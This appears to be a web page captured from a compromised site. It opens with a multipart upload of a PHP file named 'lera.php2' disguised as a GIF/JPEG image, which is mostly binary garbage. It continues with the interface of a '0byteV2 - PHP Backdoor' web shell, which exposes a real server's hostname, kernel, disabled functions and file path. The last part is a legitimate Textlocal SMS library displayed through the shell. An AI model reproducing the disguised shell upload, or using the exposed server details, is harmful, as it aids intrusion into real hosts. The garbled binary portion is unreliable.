------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/bcvps.in/application/libraries/
* @version 1.4-IN * @const REQUEST_URL URL to make the request to * @const REQUEST_TIMEOUT Timeout in seconds for the HTTP request * @const REQUEST_HANDLER Handler to use when making the HTTP request (for future use) */ class Textlocalsms { const REQUEST_URL = 'https://api.textlocal.in/'; const REQUEST_TIMEOUT = 60; const REQUEST_HANDLER = 'curl'; private $username; private $hash; private $apiKey; private $errorReporting = false; public $errors = array(); public $warnings = array(); public $lastRequest = array(); /** * Instantiate the object * @param $username * @param $hash */ function __construct($array, $apiKey = false) { $this->username = $array['username']; $this->hash = $array['hash']; if ($apiKey) { $this->apiKey = $apiKey; } } /** * Private function to construct and send the request and handle the response * @param $command * @param array $params * @return array|mixed * @throws Exception * @todo Add additional request handlers - eg fopen, file_get_contacts */ private function _sendRequest($command, $params = array()) { if ($this->apiKey && !empty($this->apiKey)) { $params['apiKey'] = $this->apiKey; } else { $params['hash'] = $this->hash; } // Create request string $params['username'] = $this->username; $this->lastRequest = $params; if (self::REQUEST_HANDLER == 'curl') $rawResponse = $this->_sendRequestCurl($command, $params); else throw new Exception('Invalid request handler.'); $result = json_decode($rawResponse); if (isset($result->errors)) { if (count($result->errors) > 0) { foreach ($result->errors as $error) { switch ($error->code) { // default: // throw new Exception($error->message); } } } } return $result; } /** * Curl request handler * @param $command * @param $params * @return mixed * @throws Exception */ private function _sendRequestCurl($command, $params) { $url = self::REQUEST_URL . $command . '/'; // Initialize handle $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_POST => true, CURLOPT_POSTFIELDS => $params, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_TIMEOUT => self::REQUEST_TIMEOUT )); $rawResponse = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($rawResponse === false) { throw new Exception('Failed to connect to the Textlocal service: ' . $error); } elseif ($httpCode != 200) { throw new Exception('Bad response from the Textlocal service: HTTP code ' . $httpCode); } return $rawResponse; } /** * fopen() request handler * @param $command * @param $params * @throws Exception */ private function _sendRequestFopen($command, $params) { throw new Exception('Unsupported transfer method'); } /** * Get last request's parameters * @return array */ public function getLastRequest() { return $this->lastRequest; } /** * Send an SMS to one or more comma separated numbers * @param $numbers * @param $message * @param $sender * @param null $sched * @param false $test * @param null $receiptURL * @param numm $custom * @param false $optouts * @param false $simpleReplyService * @return array|mixed * @throws Exception */ public function sendSms($numbers, $message, $sender, $sched = null, $test = false, $receiptURL = null, $custom = null, $optouts = false, $simpleReplyService = false) { if (!is_array($numbers)) throw new Exception('Invalid $numbers format. Must be an array'); if (empty($message)) throw new Exception('Empty message'); if (empty($sender)) throw new Exception('Empty sender name'); if (!is_null($sched) && !is_numeric($sched)) throw new Exception('Invalid date format. Use numeric epoch format'); $params = array( 'message' => rawurlencode($message), 'numbers' => implode(',', $numbers), 'sender' => rawurlencode($sender), 'schedule_time' => $sched, 'test' => $test, 'receipt_url' => $receiptURL, 'custom' => $custom, 'optouts' => $optouts, 'simple_reply' => $simpleReplyService ); return $this->_sendRequest('send', $params); } /** * Send an SMS to a Group of contacts - group IDs can be retrieved from getGroups() * @param $groupId * @param $message * @param null $sender * @param false $test * @param null $receiptURL * @param numm $custom * @param false $optouts * @param false $simpleReplyService * @return array|mixed * @throws Exception */ public function sendSmsGroup($groupId, $message, $sender = null, $sched = null, $test = false, $receiptURL = null, $custom = null, $optouts = false, $simpleReplyService = false) { if (!is_numeric($groupId)) throw new Exception('Invalid $groupId format. Must be a numeric group ID'); if (empty($message)) throw new Exception('Empty message'); if (empty($sender)) throw new Exception('Empty sender name'); if (!is_null($sched) && !is_numeric($sched)) throw new Exception('Invalid date format. Use numeric epoch format'); $params = array( 'message' => rawurlencode($message), 'group_id' => $groupId, 'sender' => rawurlencode($sender), 'schedule_time' => $sched, 'test' => $test, 'receipt_url' => $receiptURL, 'custom' => $custom, 'optouts' => $optouts, 'simple_reply' => $simpleReplyService ); return $this->_sendRequest('send', $params); } /** * Send an MMS to a one or more comma separated contacts * @param $numbers * @param $fileSource - either an absolute or relative path, or http url to a file. * @param $message * @param null $sched * @param false $test * @param false $optouts * @return array|mixed * @throws Exception */ public function sendMms($numbers, $fileSource, $message, $sched = null, $test = false, $optouts = false) { if (!is_array($numbers)) throw new Exception('Invalid $numbers format. Must be an array'); if (empty($message)) throw new Exception('Empty message'); if (empty($fileSource)) throw new Exception('Empty file source'); if (!is_null($sched) && !is_numeric($sched)) throw new Exception('Invalid date format. Use numeric epoch format'); $params = array( 'message' => rawurlencode($message), 'numbers' => implode(',', $numbers), 'schedule_time' => $sched, 'test' => $test, 'optouts' => $optouts ); /** Local file. POST to service */ if (is_readable($fileSource)) $params['file'] = '@' . $fileSource; else $params['url'] = $fileSource; return $this->_sendRequest('send_mms', $params); } /** * Send an MMS to a group - group IDs can be * @param $groupId * @param $fileSource * @param $message * @param null $sched * @param false $test * @param false $optouts * @return array|mixed * @throws Exception */ public function sendMmsGroup($groupId, $fileSource, $message, $sched = null, $test = false, $optouts = false) { if (!is_numeric($groupId)) throw new Exception('Invalid $groupId format. Must be a numeric group ID'); if (empty($message)) throw new Exception('Empty message'); if (empty($fileSource)) throw new Exception('Empty file source'); if (!is_null($sched) && !is_numeric($sched)) throw new Exception('Invalid date format. Use numeric epoch format'); $params = array( 'message' => rawurlencode($message), 'group_id' => $groupId, 'schedule_time' => $sched, 'test' => $test, 'optouts' => $optouts ); /** Local file. POST to service */ if (is_readable($fileSource)) $params['file'] = '@' . $fileSource; else $params['url'] = $fileSource; return $this->_sendRequest('send_mms', $params); } /** * Returns reseller customer's ID's * @return array * */ public function getUsers() { return $this->_sendRequest('get_users'); } /** * Transfer credits to a reseller's customer * @param $user - can be ID or Email * @param $credits * @return array|mixed * @throws Exception * */ public function transferCredits($user, $credits) { if (!is_numeric($credits)) throw new Exception('Invalid credits format'); if (!is_numeric($user)) throw new Exception('Invalid user'); if (empty($user)) throw new Exception('No user specified'); if (empty($credits)) throw new Exception('No credits specified'); if (is_int($user)) { $params = array( 'user_id' => $user, 'credits' => $credits ); } else { $params = array( 'user_email' => rawurlencode($user), 'credits' => $credits ); } return $this->_sendRequest('transfer_credits', $params); } /* * Get templates from an account * */ public function getTemplates() { return $this->_sendRequest('get_templates'); } /** Check the availability of a keyword * @param $keyword * return array|mixed */ public function checkKeyword($keyword) { $params = array('keyword' => $keyword); return $this->_sendRequest('check_keyword', $params); } /** * Create a new contact group * @param $name * @return array|mixed */ public function createGroup($name) { $params = array('name' => $name); return $this->_sendRequest('create_group', $params); } /** * Get contacts from a group - Group IDs can be retrieved with the getGroups() function * @param $groupId * @param $limit * @param int $startPos * @return array|mixed * @throws Exception */ public function getContacts($groupId, $limit, $startPos = 0) { if (!is_numeric($groupId)) throw new Exception('Invalid $groupId format. Must be a numeric group ID'); if (!is_numeric($startPos) || $startPos < 0) throw new Exception('Invalid $startPos format. Must be a numeric start position, 0 or above'); if (!is_numeric($limit) || $limit < 1) throw new Exception('Invalid $limit format. Must be a numeric limit value, 1 or above'); $params = array( 'group_id' => $groupId, 'start' => $startPos, 'limit' => $limit ); return $this->_sendRequest('get_contacts', $params); } /** * Create one or more number-only contacts in a specific group, defaults to 'My Contacts' * @param $numbers * @param string $groupid * @return array|mixed */ public function createContacts($numbers, $groupid = '5') { $params = array("group_id" => $groupid); if (is_array($numbers)) { $params['numbers'] = implode(',', $numbers); } else { $params['numbers'] = $numbers; } return $this->_sendRequest('create_contacts', $params); } /** * Create bulk contacts - with name and custom information from an array of: * [first_name] [last_name] [number] [custom1] [custom2] [custom3] * * @param array $contacts * @param string $groupid * @return array|mixed */ function createContactsBulk($contacts, $groupid = '5') { // JSON & URL-encode array $contacts = rawurlencode(json_encode($contacts)); $params = array ("group_id" => $groupid, "contacts" => $contacts); return $this->_sendRequest('create_contacts_bulk', $params); } /** * Get a list of groups and group IDs * @return array|mixed */ public function getGroups() { return $this->_sendRequest('get_groups'); } /** * Get the status of a message based on the Message ID - this can be taken from sendSMS or from a history report * @param $messageid * @return array|mixed */ public function getMessageStatus($messageid) { $params = array("message_id" => $messageid); return $this->_sendRequest('status_message', $params); } /** * Get the status of a message based on the Batch ID - this can be taken from sendSMS or from a history report * @param $batchid * @return array|mixed */ public function getBatchStatus($batchid) { $params = array("batch_id" => $batchid); return $this->_sendRequest('status_batch', $params); } /** * Get sender names * @return array|mixed */ public function getSenderNames() { return $this->_sendRequest('get_sender_names'); } /** * Get inboxes available on the account * @return array|mixed */ public function getInboxes() { return $this->_sendRequest('get_inboxes'); } /** * Get Credit Balances * @return array */ public function getBalance() { $result = $this->_sendRequest('balance'); return array('sms' => $result->balance->sms, 'mms' => $result->balance->mms); } /** * Get messages from an inbox - The ID can ge retrieved from getInboxes() * @param $inbox * @return array|bool|mixed */ public function getMessages($inbox) { if (!isset($inbox)) return false; $options = array('inbox_id' => $inbox); return $this->_sendRequest('get_messages', $options); } /** * Cancel a scheduled message based on a message ID from getScheduledMessages() * @param $id * @return array|bool|mixed */ public function cancelScheduledMessage($id) { if (!isset($id)) return false; $options = array('sent_id' => $id); return $this->_sendRequest('cancel_scheduled', $options); } /** * Get Scheduled Message information * @return array|mixed */ public function getScheduledMessages() { return $this->_sendRequest('get_scheduled'); } /** * Delete a contact based on telephone number from a group * @param $number * @param int $groupid * @return array|bool|mixed */ public function deleteContact($number, $groupid = 5) { if (!isset($number)) return false; $options = array('number' => $number, 'group_id' => $groupid); return $this->_sendRequest('delete_contact', $options); } /** * Delete a group - Be careful, we can not recover any data deleted by mistake * @param $groupid * @return array|mixed */ public function deleteGroup($groupid) { $options = array('group_id' => $groupid); return $this->_sendRequest('delete_group', $options); } /** * Get single SMS history (single numbers, comma seperated numbers when sending) * @param $start * @param $limit * @param $min_time Unix timestamp * @param $max_time Unix timestamp * @return array|bool|mixed */ public function getSingleMessageHistory($start, $limit, $min_time, $max_time) { return $this->getHistory('get_history_single', $start, $limit, $min_time, $max_time); } /** * Get API SMS Message history * @param $start * @param $limit * @param $min_time Unix timestamp * @param $max_time Unix timestamp * @return array|bool|mixed */ public function getAPIMessageHistory($start, $limit, $min_time, $max_time) { return $this->getHistory('get_history_api', $start, $limit, $min_time, $max_time); } /** * Get Email to SMS History * @param $start * @param $limit * @param $min_time Unix timestamp * @param $max_time Unix timestamp * @return array|bool|mixed */ public function getEmailToSMSHistory($start, $limit, $min_time, $max_time) { return $this->getHistory('get_history_email', $start, $limit, $min_time, $max_time); } /** * Get group SMS history * @param $start * @param $limit * @param $min_time Unix timestamp * @param $max_time Unix timestamp * @return array|bool|mixed */ public function getGroupMessageHistory($start, $limit, $min_time, $max_time) { return $this->getHistory('get_history_group', $start, $limit, $min_time, $max_time); } /** * Generic function to provide validation and the request method for getting all types of history * @param $type * @param $start * @param $limit * @param $min_time * @param $max_time * @return array|bool|mixed */ private function getHistory($type, $start, $limit, $min_time, $max_time) { if (!isset($start) || !isset($limit) || !isset($min_time) || !isset($max_time)) return false; $options = array('start' => $start, 'limit' => $limit, 'min_time' => $min_time, 'max_time' => $max_time); return $this->_sendRequest($type, $options); } /** * Get a list of surveys * @return array|mixed */ public function getSurveys() { return $this->_sendRequest('get_surveys'); } /** * Get a deatils of a survey * @return array|mixed */ public function getSurveyDetails() { $options = array('survey_id' => $surveyid); return $this->_sendRequest('get_survey_details'); } /** * Get a the results of a given survey * @return array|mixed */ public function getSurveyResults($surveyid, $start, $end) { $options = array('survey_id' => $surveyid, 'start_date' => $start, 'end_date' => $end); return $this->_sendRequest('get_surveys', $options); } /** * Get all account optouts * @return array|mixed */ public function getOptouts($time = null) { return $this->_sendRequest('get_optouts'); } } ; class Contact { var $number; var $first_name; var $last_name; var $custom1; var $custom2; var $custom3; var $groupID; /** * Structure of a contact object * @param $number * @param string $firstname * @param string $lastname * @param string $custom1 * @param string $custom2 * @param string $custom3 */ function __construct($number, $firstname = '', $lastname = '', $custom1 = '', $custom2 = '', $custom3 = '') { $this->number = $number; $this->first_name = $firstname; $this->last_name = $lastname; $this->custom1 = $custom1; $this->custom2 = $custom2; $this->custom3 = $custom3; } } ; /** * If the json_encode function does not exist, then create it.. */ if (!function_exists('json_encode')) { function json_encode($a = false) { if (is_null($a)) return 'null'; if ($a === false) return 'false'; if ($a === true) return 'true'; if (is_scalar($a)) { if (is_float($a)) { // Always use "." for floats. return floatval(str_replace(",", ".", strval($a))); } if (is_string($a)) { static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"')); return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"'; } else return $a; } $isList = true; for ($i = 0, reset($a); $i < count($a); $i++, next($a)) { if (key($a) !== $i) { $isList = false; break; } } $result = array(); if ($isList) { foreach ($a as $v) $result[] = json_encode($v); return '[' . join(',', $result) . ']'; } else { foreach ($a as $k => $v) $result[] = json_encode($k) . ':' . json_encode($v); return '{' . join(',', $result) . '}'; } } }